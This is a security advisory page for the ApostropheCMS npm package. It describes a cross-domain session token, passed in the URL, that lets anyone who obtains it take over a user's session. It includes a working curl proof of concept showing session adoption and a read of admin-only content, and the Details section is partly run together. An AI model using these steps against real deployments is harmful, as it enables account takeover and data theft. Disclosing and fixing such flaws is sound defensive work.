npm · apostrophe
ApostropheCMS: Cross-domain session token in URL confers session takeover
Summary
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including passport.user) with no credentials.
Details
packages/apostrophe/modules/@apostrophecms/i18n/index.js:
passport-bridge/index.js L557–593) places the token in the URL.acceptCrossDomainSessionToken (L258–298) reads ?aposCrossDomainSessionToken, Object.assigns the stored session (cookie + passport.user) onto req.session, then nulls the cache entry under namespace @apostrophecms/i18n:cross-domain-sessions.before: is registered for every URL (express findModuleMiddlewareAndRoutes L820–879); verified with APOS_LOG_ALL_ROUTES=1.PoC
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
--data '{"username":"admin","password":"adminpassword","session":true}' \
http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
# → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
# → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}
Impact Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.
Remediation — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.